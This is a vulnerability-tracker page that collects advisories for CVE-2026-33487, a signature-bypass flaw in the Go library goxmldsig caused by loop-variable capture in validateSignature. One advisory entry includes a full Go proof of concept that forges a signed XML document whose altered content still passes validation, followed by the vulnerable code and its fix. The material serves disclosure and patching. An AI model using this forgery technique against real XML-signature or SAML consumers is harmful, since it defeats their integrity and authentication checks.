Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

goxmldsig has validateSignature Loop Variable Capture Signature Bypass

CVSS 3.1 7.5 HIGHEUVD CVSS 3.1 7.5 CVSS 3.1 · [email protected] · Secondary 7.5 HIGHCVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary 7.5 HIGHCVSS_V3 Publisher rating HIGHFixed by github.com/russellhaering/goxmldsig 1.6.0osv · severity unknownFixed by github.com/russellhaering/goxmldsig 1.6.0KEV status unknown

cve-program · CVE-2026-33487

Published

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.

Read the publisher's advisory

euvd · EUVD-2026-16281

Published

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.

Read the publisher's advisory

nvd · CVE-2026-33487

Published

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.

Read the publisher's advisory

osv · GHSA-479m-364c-43vc

Published

### Details The `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. ------ ### Technical Details The code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration. As a result, any pointer to this variable will always point to the value of the *last* element processed by the loop, no matter which element matched the search criteria. Using Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue. ```````go // goxmldsig/validate.go (Lines 309-313) for _, _ref := range signedInfo.References { if _ref.URI == "" || _ref.URI[1:] == idAttr { ref = &_ref // <- Capture var address of loop } } ``````` ----- ### PoC The PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature. ``````go package main import ( "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "encoding/base64" "fmt" "math/big" "time" "github.com/beevik/etree" dsig "github.com/russellhaering/goxmldsig" ) func main() { key, err := rsa.GenerateKey(rand.Reader, 2048) if err != nil { panic(err) } template := &x509.Certificate{ SerialNumber: big.NewInt(1), NotBefore: time.Now().Add(-1 * time.Hour), NotAfter: time.Now().Add(1 * time.Hour), } certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key) if err != nil { panic(err) } cert, _ := x509.ParseCertificate(certDER) doc := etree.NewDocument() root := doc.CreateElement("Root") root.CreateAttr("ID", "target") root.SetText("Malicious Content") tlsCert := tls.Certificate{ Certificate: [][]byte{cert.Raw}, PrivateKey: key, } ks := dsig.TLSCertKeyStore(tlsCert) signingCtx := dsig.NewDefaultSigningContext(ks) sig, err := signingCtx.ConstructSignature(root, true) if err != nil { panic(err) } signedInfo := sig.FindElement("./SignedInfo") existingRef := signedInfo.FindElement("./Reference") existingRef.CreateAttr("URI", "#dummy") originalEl := etree.NewElement("Root") originalEl.CreateAttr("ID", "target") originalEl.SetText("Original Content") sig1, _ := signingCtx.ConstructSignature(originalEl, true) ref1 := sig1.FindElement("./SignedInfo/Reference").Copy() signedInfo.InsertChildAt(existingRef.Index(), ref1) c14n := signingCtx.Canonicalizer detachedSI := signedInfo.Copy() if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil { detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace) } canonicalBytes, err := c14n.Canonicalize(detachedSI) if err != nil { fmt.Println("c14n error:", err) return } hash := signingCtx.Hash.New() hash.Write(canonicalBytes) digest := hash.Sum(nil) rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest) if err != nil { panic(err) } sigVal := sig.FindElement("./SignatureValue") sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig)) certStore := &dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{cert}, } valCtx := dsig.NewDefaultValidationContext(certStore) root.AddChild(sig) doc.SetRoot(root) str, _ := doc.WriteToString() fmt.Println("XML:") fmt.Println(str) validated, err := valCtx.Validate(root) if err != nil { fmt.Println("validation failed:", err) } else { fmt.Println("validation ok") fmt.Println("validated text:", validated.Text()) } } `````` ----- ### Impact This vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature. ------ ### Remediation Update the loop to capture the value correctly or use the index to reference the slice directly. ``````go // goxmldsig/validate.go func (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error { var ref *types.Reference // OLD // for _, _ref := range signedInfo.References { // if _ref.URI == "" || _ref.URI[1:] == idAttr { // ref = &_ref // } // } // FIX for i := range signedInfo.References { if signedInfo.References[i].URI == "" || signedInfo.References[i].URI[1:] == idAttr { ref = &signedInfo.References[i] break } } // ... } `````` ---- ### References https://cwe.mitre.org/data/definitions/347.html https://cwe.mitre.org/data/definitions/682.html https://github.com/russellhaering/goxmldsig/blob/main/validate.go ----- **Author**: Tomas Illuminati

Read the publisher's advisory

osv · GO-2026-4753

Published

Loop Variable Capture Signature Bypass in goxmldsig in github.com/russellhaering/goxmldsig

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Risk history

Compare earlier KEV listings and daily EPSS scores. Advisory wording and affected versions have a separate history.

When does an EPSS score appear as a change?

A prediction change is reported when EPSS rises from below 10% to 10% or higher. Other daily score changes remain in this history.

Advisory history

14 saved versions

See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.

How advisory history works

Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.

15 Nov 2026 10:03:28 UTC

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…

euvd · EUVD-2026-16281 · Published

13 Nov 2026 09:06:56 UTC

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…

euvd · EUVD-2026-16281 · Published

11 Nov 2026 08:37:15 UTC

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…

euvd · EUVD-2026-16281 · Published

9 Nov 2026 08:11:18 UTC

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…

euvd · EUVD-2026-16281 · Published

7 Nov 2026 07:35:33 UTC

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…

euvd · EUVD-2026-16281 · Published

5 Nov 2026 07:04:05 UTC

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…

euvd · EUVD-2026-16281 · Published

3 Nov 2026 06:07:40 UTC

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…

euvd · EUVD-2026-16281 · Published

1 Nov 2026 05:13:59 UTC

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…

euvd · EUVD-2026-16281 · Published

30 Oct 2026 04:58:11 UTC

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…

euvd · EUVD-2026-16281 · Published

28 Oct 2026 03:59:52 UTC

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…

euvd · EUVD-2026-16281 · Published

25 Oct 2026 08:17:24 UTC

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…

nvd · CVE-2026-33487 · Published

24 Oct 2026 13:19:41 UTC

validateSignature Loop Variable Capture Signature Bypass in goxmldsig

osv · GHSA-479m-364c-43vc · Published

24 Oct 2026 13:19:41 UTC

Loop Variable Capture Signature Bypass in goxmldsig in github.com/russellhaering/goxmldsig

osv · GO-2026-4753 · Published

23 Oct 2026 15:48:27 UTC

goxmldsig has validateSignature Loop Variable Capture Signature Bypass

cve-program · CVE-2026-33487 · Published

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 16:58 UTC · 254 of 275 readable · 250 fully read · documentation 469/469 current